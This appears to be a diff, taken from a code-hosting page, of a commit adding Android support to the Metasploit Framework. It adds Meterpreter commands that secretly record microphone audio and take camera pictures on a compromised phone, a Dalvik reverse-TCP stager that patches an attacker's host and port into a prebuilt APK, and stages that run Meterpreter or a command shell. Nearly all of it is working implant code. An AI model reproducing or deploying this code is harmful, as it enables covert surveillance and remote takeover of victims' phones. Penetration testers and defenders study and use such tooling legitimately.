import com.metasploit.meterpreter.stdapi.webcam_audio_record;
|
||||
|
||||
import android.media.AudioFormat;
|
||||
import android.media.AudioRecord;
|
||||
import android.media.MediaRecorder.AudioSource;
|
||||
import android.util.Log;
|
||||
|
||||
public class webcam_audio_record_android extends webcam_audio_record implements Command {
|
||||
|
||||
private static final int AUDIO_SAMPLE_RATE = 8000;
|
||||
private static final int AUDIO_CHANNEL_CONFIG = AudioFormat.CHANNEL_CONFIGURATION_MONO;
|
||||
private static final int AUDIO_CHANNEL_ENCODING = AudioFormat.ENCODING_PCM_16BIT;
|
||||
|
||||
private static final int TLV_EXTENSIONS = 20000;
|
||||
private static final int TLV_TYPE_AUDIO_DURATION = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1);
|
||||
private static final int TLV_TYPE_AUDIO_DATA = TLVPacket.TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 2);
|
||||
|
||||
public byte[] getAudioRecorder(int duration) {
|
||||
int bufferSize = AudioRecord.getMinBufferSize(AUDIO_SAMPLE_RATE, AUDIO_CHANNEL_CONFIG, AUDIO_CHANNEL_ENCODING);
|
||||
int fullBuffer = duration * AUDIO_SAMPLE_RATE;
|
||||
if (fullBuffer < bufferSize) {
|
||||
fullBuffer = bufferSize;
|
||||
}
|
||||
AudioRecord recorder = new AudioRecord(AudioSource.MIC, AUDIO_SAMPLE_RATE, AUDIO_CHANNEL_CONFIG, AUDIO_CHANNEL_ENCODING, fullBuffer);
|
||||
byte[] buffer = new byte[fullBuffer];
|
||||
|
||||
try {
|
||||
recorder.startRecording();
|
||||
recorder.read(buffer, 0, buffer.length);
|
||||
} catch (Throwable x) {
|
||||
Log.e(webcam_audio_record_android.class.getSimpleName(), "Error reading voice audio ", x);
|
||||
} finally {
|
||||
recorder.stop();
|
||||
recorder.release();
|
||||
}
|
||||
return buffer;
|
||||
}
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
int duration = request.getIntValue(TLV_TYPE_AUDIO_DURATION);
|
||||
response.add(TLV_TYPE_AUDIO_DATA, getAudioRecorder(duration));
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
@ -0,0 +1,52 @@
|
||||
|
||||
package com.metasploit.meterpreter.android;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
|
||||
|
||||
import android.hardware.Camera;
|
||||
import android.hardware.Camera.PictureCallback;
|
||||
import android.util.Log;
|
||||
|
||||
public class webcam_get_frame_android extends webcam_audio_record implements Command {
|
||||
|
||||
private static final int TLV_EXTENSIONS = 20000;
|
||||
private static final int TLV_TYPE_WEBCAM_IMAGE = TLVPacket.TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 1);
|
||||
private static final int TLV_TYPE_WEBCAM_QUALITY = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 3);
|
||||
|
||||
private volatile byte[] cameraData;
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
|
||||
@SuppressWarnings("unused")
|
||||
int quality = request.getIntValue(TLV_TYPE_WEBCAM_QUALITY);
|
||||
|
||||
try {
|
||||
if (webcam_start_android.camera == null) {
|
||||
return ERROR_FAILURE;
|
||||
}
|
||||
|
||||
cameraData = null;
|
||||
webcam_start_android.camera.takePicture(null, null, new PictureCallback() {
|
||||
@Override
|
||||
public void onPictureTaken(byte[] data, Camera camera) {
|
||||
cameraData = data;
|
||||
}
|
||||
});
|
||||
|
||||
int i = 0;
|
||||
while (cameraData == null && i < 20) {
|
||||
Thread.sleep(1000);
|
||||
i++;
|
||||
}
|
||||
|
||||
response.add(TLV_TYPE_WEBCAM_IMAGE, cameraData);
|
||||
} catch (Exception e) {
|
||||
Log.e(getClass().getSimpleName(), "webcam error ", e);
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
@ -0,0 +1,58 @@
|
||||
|
||||
package com.metasploit.meterpreter.android;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
|
||||
|
||||
import android.util.Log;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
public class webcam_list_android extends webcam_audio_record implements Command {
|
||||
|
||||
private static final int TLV_EXTENSIONS = 20000;
|
||||
private static final int TLV_TYPE_WEBCAM_NAME = TLVPacket.TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 4);
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
|
||||
try {
|
||||
Class<?> cameraClass = Class.forName("android.hardware.Camera");
|
||||
Object cameraInfo = null;
|
||||
Field field = null;
|
||||
int cameraCount = 0;
|
||||
Method getNumberOfCamerasMethod = cameraClass.getMethod("getNumberOfCameras");
|
||||
if (getNumberOfCamerasMethod != null) {
|
||||
cameraCount = (Integer)getNumberOfCamerasMethod.invoke(null, (Object[])null);
|
||||
} else {
|
||||
response.add(TLV_TYPE_WEBCAM_NAME, "Default Camera"); // Pre 2.2 device
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
Class<?> cameraInfoClass = Class.forName("android.hardware.Camera$CameraInfo");
|
||||
if (cameraInfoClass != null) {
|
||||
cameraInfo = cameraInfoClass.newInstance();
|
||||
}
|
||||
if (cameraInfo != null) {
|
||||
field = cameraInfo.getClass().getField("facing");
|
||||
}
|
||||
Method getCameraInfoMethod = cameraClass.getMethod("getCameraInfo", Integer.TYPE, cameraInfoClass);
|
||||
if (getCameraInfoMethod != null && cameraInfoClass != null && field != null) {
|
||||
for (int camIdx = 0; camIdx < cameraCount; camIdx++) {
|
||||
getCameraInfoMethod.invoke(null, camIdx, cameraInfo);
|
||||
int facing = field.getInt(cameraInfo);
|
||||
if (facing == 1) { // Camera.CameraInfo.CAMERA_FACING_FRONT
|
||||
response.addOverflow(TLV_TYPE_WEBCAM_NAME, "Front Camera");
|
||||
} else {
|
||||
response.addOverflow(TLV_TYPE_WEBCAM_NAME, "Back Camera");
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
Log.e(getClass().getSimpleName(), "webcam error ", e);
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
@ -0,0 +1,42 @@
|
||||
|
||||
package com.metasploit.meterpreter.android;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
|
||||
|
||||
import android.hardware.Camera;
|
||||
import android.util.Log;
|
||||
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
public class webcam_start_android extends webcam_audio_record implements Command {
|
||||
|
||||
private static final int TLV_EXTENSIONS = 20000;
|
||||
private static final int TLV_TYPE_WEBCAM_INTERFACE_ID = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 2);
|
||||
|
||||
public static Camera camera;
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
|
||||
int camId = request.getIntValue(TLV_TYPE_WEBCAM_INTERFACE_ID);
|
||||
|
||||
try {
|
||||
Class<?> cameraClass = Class.forName("android.hardware.Camera");
|
||||
Method cameraOpenMethod = cameraClass.getMethod("open", Integer.TYPE);
|
||||
if (cameraOpenMethod != null) {
|
||||
camera = (Camera)cameraOpenMethod.invoke(null, camId - 1);
|
||||
} else {
|
||||
camera = Camera.open();
|
||||
}
|
||||
camera.setPreviewDisplay(null);
|
||||
camera.startPreview();
|
||||
|
||||
} catch (Exception e) {
|
||||
Log.e(getClass().getSimpleName(), "webcam error ", e);
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
@ -0,0 +1,28 @@
|
||||
|
||||
package com.metasploit.meterpreter.android;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
|
||||
|
||||
import android.util.Log;
|
||||
|
||||
public class webcam_stop_android extends webcam_audio_record implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
|
||||
try {
|
||||
if (webcam_start_android.camera != null) {
|
||||
webcam_start_android.camera.stopPreview();
|
||||
webcam_start_android.camera.release();
|
||||
webcam_start_android.camera = null;
|
||||
}
|
||||
|
||||
} catch (Exception e) {
|
||||
Log.e(getClass().getSimpleName(), "webcam error ", e);
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
@ -37,9 +37,12 @@ public class CommandManager {
|
||||
apiVersion = ExtensionLoader.V1_6;
|
||||
} catch (Throwable t) {
|
||||
}
|
||||
int vmVersion = System.getProperty("java.version").charAt(2) - '2' + ExtensionLoader.V1_2;
|
||||
if (vmVersion >= ExtensionLoader.V1_2 && vmVersion < apiVersion)
|
||||
apiVersion = vmVersion;
|
||||
String javaversion = System.getProperty("java.version");
|
||||
if (javaversion != null && javaversion.length() > 2) {
|
||||
int vmVersion = javaversion.charAt(2) - '2' + ExtensionLoader.V1_2;
|
||||
if (vmVersion >= ExtensionLoader.V1_2 && vmVersion < apiVersion)
|
||||
apiVersion = vmVersion;
|
||||
}
|
||||
this.javaVersion = apiVersion;
|
||||
|
||||
// load core commands
|
||||
|
@ -32,6 +32,7 @@ public class Meterpreter {
|
||||
|
||||
private List/* <Channel> */channels = new ArrayList();
|
||||
private final CommandManager commandManager;
|
||||
private final DataInputStream in;
|
||||
private final DataOutputStream out;
|
||||
private final Random rnd = new Random();
|
||||
private final ByteArrayOutputStream errBuffer;
|
||||
@ -39,6 +40,7 @@ public class Meterpreter {
|
||||
private final boolean loadExtensions;
|
||||
private List/* <byte[]> */tlvQueue = null;
|
||||
|
||||
|
||||
/**
|
||||
* Initialize the meterpreter.
|
||||
*
|
||||
@ -53,7 +55,27 @@ public class Meterpreter {
|
||||
* @throws Exception
|
||||
*/
|
||||
public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors) throws Exception {
|
||||
this(in, rawOut, loadExtensions, redirectErrors, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* Initialize the meterpreter.
|
||||
*
|
||||
* @param in
|
||||
* Input stream to read from
|
||||
* @param rawOut
|
||||
* Output stream to write into
|
||||
* @param loadExtensions
|
||||
* Whether to load (as a {@link ClassLoader} would do) the extension jars; disable this if you want to use your debugger's edit-and-continue feature or if you do not want to update the jars after each build
|
||||
* @param redirectErrors
|
||||
* Whether to redirect errors to the internal error buffer; disable this to see the errors on the victim's standard error stream
|
||||
* @param beginExecution
|
||||
* Whether to begin executing immediately
|
||||
* @throws Exception
|
||||
*/
|
||||
public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors, boolean beginExecution) throws Exception {
|
||||
this.loadExtensions = loadExtensions;
|
||||
this.in = in;
|
||||
this.out = new DataOutputStream(rawOut);
|
||||
commandManager = new CommandManager();
|
||||
channels.add(null); // main communication channel?
|
||||
@ -64,6 +86,9 @@ public class Meterpreter {
|
||||
errBuffer = null;
|
||||
err = System.err;
|
||||
}
|
||||
}
|
||||
|
||||
public void startExecuting() throws Exception {
|
||||
try {
|
||||
while (true) {
|
||||
int len = in.readInt();
|
||||
|
@ -46,7 +46,7 @@ public class stdapi_sys_process_get_processes implements Command {
|
||||
br.close();
|
||||
proc.waitFor();
|
||||
} else {
|
||||
Process proc = Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", "ps ax -w -o pid,user,cmd --no-header 2>/dev/null" });
|
||||
Process proc = Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", "ps ax -w -o pid=,user=,command= 2>/dev/null" });
|
||||
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
|
||||
String line;
|
||||
while ((line = br.readLine()) != null) {
|
||||
|
2
external/source/javapayload/pom.xml
vendored
2
external/source/javapayload/pom.xml
vendored
@ -46,6 +46,8 @@
|
||||
<module>javapayload</module>
|
||||
<module>meterpreter</module>
|
||||
<module>version-compatibility-check</module>
|
||||
<module>androidpayload/app</module>
|
||||
<module>androidpayload/library</module>
|
||||
</modules>
|
||||
<prerequisites>
|
||||
<maven>3.0</maven>
|
||||
|
@ -331,6 +331,14 @@ class Msf::Module::Platform
|
||||
Alias = "netware"
|
||||
end
|
||||
|
||||
#
|
||||
# Android
|
||||
#
|
||||
class Android < Msf::Module::Platform
|
||||
Rank = 100
|
||||
Alias = "android"
|
||||
end
|
||||
|
||||
#
|
||||
# Java
|
||||
#
|
||||
|
@ -28,6 +28,7 @@ class Payload < Msf::Module
|
||||
require 'msf/core/payload/windows'
|
||||
require 'msf/core/payload/netware'
|
||||
require 'msf/core/payload/java'
|
||||
require 'msf/core/payload/dalvik'
|
||||
|
||||
##
|
||||
#
|
||||
|
33
lib/msf/core/payload/dalvik.rb
Normal file
33
lib/msf/core/payload/dalvik.rb
Normal file
@ -0,0 +1,33 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
require 'pp'
|
||||
require 'rex/ui/text/dispatcher_shell'
|
||||
|
||||
module Msf::Payload::Dalvik
|
||||
|
||||
#
|
||||
# Fix the dex header checksum and signature
|
||||
# http://source.android.com/tech/dalvik/dex-format.html
|
||||
#
|
||||
def fix_dex_header(dexfile)
|
||||
dexfile = dexfile.unpack('a8LH40a*')
|
||||
dexfile[2] = Digest::SHA1.hexdigest(dexfile[3])
|
||||
dexfile[1] = Zlib::adler32(dexfile[2..-1].pack('H40a*'))
|
||||
dexfile.pack('a8LH40a*')
|
||||
end
|
||||
|
||||
#
|
||||
# We could compile the .class files with dx here
|
||||
#
|
||||
def generate_stage
|
||||
end
|
||||
|
||||
#
|
||||
# Used by stagers to construct the payload jar file as a String
|
||||
#
|
||||
def generate
|
||||
generate_jar.pack
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -83,6 +83,7 @@ ARCH_ARMLE = 'armle'
|
||||
ARCH_ARMBE = 'armbe'
|
||||
ARCH_JAVA = 'java'
|
||||
ARCH_RUBY = 'ruby'
|
||||
ARCH_DALVIK = 'dalvik'
|
||||
ARCH_TYPES =
|
||||
[
|
||||
ARCH_X86,
|
||||
@ -101,7 +102,8 @@ ARCH_TYPES =
|
||||
ARCH_PHP,
|
||||
ARCH_TTY,
|
||||
ARCH_JAVA,
|
||||
ARCH_RUBY
|
||||
ARCH_RUBY,
|
||||
ARCH_DALVIK
|
||||
]
|
||||
|
||||
ARCH_ALL = ARCH_TYPES
|
||||
|
@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'BadChars' => '',
|
||||
'DisableNops' => true,
|
||||
},
|
||||
'Platform' => [ 'win', 'linux', 'solaris', 'unix', 'osx', 'bsd', 'php', 'java','ruby','js','python' ],
|
||||
'Platform' => [ 'win', 'linux', 'solaris', 'unix', 'osx', 'bsd', 'php', 'java', 'ruby', 'js', 'python', 'android' ],
|
||||
'Arch' => ARCH_ALL,
|
||||
'Targets' => [ [ 'Wildcard Target', { } ] ],
|
||||
'DefaultTarget' => 0
|
||||
|
62
modules/payloads/stagers/android/reverse_tcp.rb
Normal file
62
modules/payloads/stagers/android/reverse_tcp.rb
Normal file
@ -0,0 +1,62 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
require 'zlib'
|
||||
require 'digest/sha1'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Dalvik
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Dalvik Reverse TCP Stager',
|
||||
'Description' => 'Connect back stager',
|
||||
'Author' => 'timwr',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
end
|
||||
|
||||
def string_sub(data, placeholder, input)
|
||||
data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length))
|
||||
end
|
||||
|
||||
def generate_jar(opts={})
|
||||
jar = Rex::Zip::Jar.new
|
||||
|
||||
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'))
|
||||
|
||||
string_sub(classes, '127.0.0.1 ', datastore['LHOST'].to_s) if datastore['LHOST']
|
||||
string_sub(classes, '4444 ', datastore['LPORT'].to_s) if datastore['LPORT']
|
||||
|
||||
jar.add_file("classes.dex", fix_dex_header(classes))
|
||||
|
||||
files = [
|
||||
[ "AndroidManifest.xml" ],
|
||||
[ "res", "drawable-mdpi", "icon.png" ],
|
||||
[ "res", "layout", "main.xml" ],
|
||||
[ "resources.arsc" ]
|
||||
]
|
||||
|
||||
jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk"))
|
||||
jar.build_manifest
|
||||
|
||||
#jar.sign(@key, @cert, @ca_certs) '~/.android/debug.keystore' -sigalg MD5withRSA -digestalg SHA1?
|
||||
|
||||
jar
|
||||
end
|
||||
|
||||
end
|
52
modules/payloads/stages/android/meterpreter.rb
Normal file
52
modules/payloads/stages/android/meterpreter.rb
Normal file
@ -0,0 +1,52 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/dalvik'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/meterpreter_java'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
|
||||
|
||||
module Metasploit3
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
# The stager should have already included this
|
||||
#include Msf::Payload::Java
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Android Meterpreter',
|
||||
'Description' => 'Run a meterpreter server on Android',
|
||||
'Author' => [
|
||||
'mihi', # all the hard work
|
||||
'egypt' # msf integration
|
||||
],
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_Java_Java))
|
||||
end
|
||||
|
||||
#
|
||||
# Override the Payload::Dalvik version so we can load a prebuilt jar to be
|
||||
# used as the final stage
|
||||
#
|
||||
def generate_stage
|
||||
clazz = 'androidpayload.stage.Meterpreter'
|
||||
file = File.join(Msf::Config.data_directory, "android", "metstage.jar")
|
||||
metstage = File.open(file, "rb") {|f| f.read(f.stat.size) }
|
||||
|
||||
file = File.join(Msf::Config.data_directory, "android", "meterpreter.jar")
|
||||
met = File.open(file, "rb") {|f| f.read(f.stat.size) }
|
||||
|
||||
# All of the dendencies to create a dalvik loader, followed by the length of the classname to load,
|
||||
# followed by the classname, followed by the length of the jar and the jar itself.
|
||||
[clazz.length].pack("N") + clazz + [metstage.length].pack("N") + metstage + [met.length].pack("N") + met
|
||||
end
|
||||
|
||||
end
|
49
modules/payloads/stages/android/shell.rb
Normal file
49
modules/payloads/stages/android/shell.rb
Normal file
@ -0,0 +1,49 @@
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/dalvik'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
|
||||
module Metasploit3
|
||||
|
||||
# The stager should have already included this
|
||||
#include Msf::Payload::Java
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Command Shell',
|
||||
'Description' => 'Spawn a piped command shell (sh)',
|
||||
'Author' => [
|
||||
'mihi', # all the hard work
|
||||
'egypt' # msf integration
|
||||
],
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::CommandShell))
|
||||
end
|
||||
|
||||
#
|
||||
# Override the Payload::Dalvik version so we can load a prebuilt jar to be
|
||||
# used as the final stage
|
||||
#
|
||||
def generate_stage
|
||||
clazz = 'androidpayload.stage.Shell'
|
||||
file = File.join(Msf::Config.data_directory, "android", "shell.jar")
|
||||
met = File.open(file, "rb") {|f| f.read(f.stat.size) }
|
||||
|
||||
# All of the dendencies to create a dalvik loader, followed by the length of the classname to load,
|
||||
# followed by the classname, followed by the length of the jar and the jar itself.
|
||||
[clazz.length].pack("N") + clazz + [met.length].pack("N") + met
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue
Block a user